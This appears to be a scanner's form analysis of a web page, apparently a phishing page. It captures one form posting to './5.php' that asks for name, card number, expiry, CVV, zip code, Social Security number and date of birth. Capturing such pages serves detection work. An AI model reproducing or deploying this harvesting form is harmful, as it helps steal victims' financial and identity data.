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Form analysis
1 forms found in the DOM

POST ./5.php

<form id="main-form" method="POST" action="./5.php" onsubmit="disableButton();">
  <div class="formfield">
    <div class="formfield">
      <label for="username">FULL NAME</label>
      <input tabindex="1" class="tabable" type="text" id="username" name="e1" value="" placeholder="FULL NAME" autofocus="" required="">
      <div class="formfield">
        <label for="username">CREDIT/DEBIT CARD NUMBER</label>
        <input tabindex="1" class="tabable" type="text" id="username" name="e2" value="" placeholder="CREDIT/DEBIT CARD NUMBER" autofocus="" required="">
        <div class="formfield">
          <label for="username">EXPIRY NUMBER(MM/YY)</label>
          <input tabindex="1" class="tabable" type="text" id="username" name="e3" value="" placeholder="EXPIRY NUMBER(MM/YY)" autofocus="" required="">
          <div class="formfield">
            <label for="username">CVV</label>
            <input tabindex="1" class="tabable" type="password" id="username" name="e4" value="" placeholder="CVV" autofocus="" required="">
            <div class="formfield">
              <label for="username">Zip Code</label>
              <input tabindex="1" class="tabable" type="text" id="email" name="e5" value="" placeholder="Zip Code" autofocus="" required="">
              <div class="formfield">
                <label for="username">Social Security number</label>
                <input tabindex="1" class="tabable" type="text" id="email" name="e6" value="" placeholder="Social Security number" autofocus="" required="">
                <div class="formfield">
                  <label for="username">Date of Birth (MM/DD/YYYY)</label>
                  <input tabindex="1" class="tabable" type="text" id="password" name="e7" value="" placeholder="Date of Birth" autofocus="" required="">
                  <div class="formfield">
                    <button tabindex="6" id="login" class="tabable w-full px-4 py-2 my-4 text-2xl text-white text-bold uppercase tracking-wider rounded-lg shadow" type="submit" name="submit"> NEXT </button>
                    <script>
                      function disableButton() {
                        var btn = document.getElementById('login');
                        btn.disabled = true;
                        btn.innerText = 'Loading...';
                      }
                    </script>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</form>

Text Content

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FULL NAME
CREDIT/DEBIT CARD NUMBER
EXPIRY NUMBER(MM/YY)
CVV
Zip Code
Social Security number
Date of Birth (MM/DD/YYYY)
NEXT


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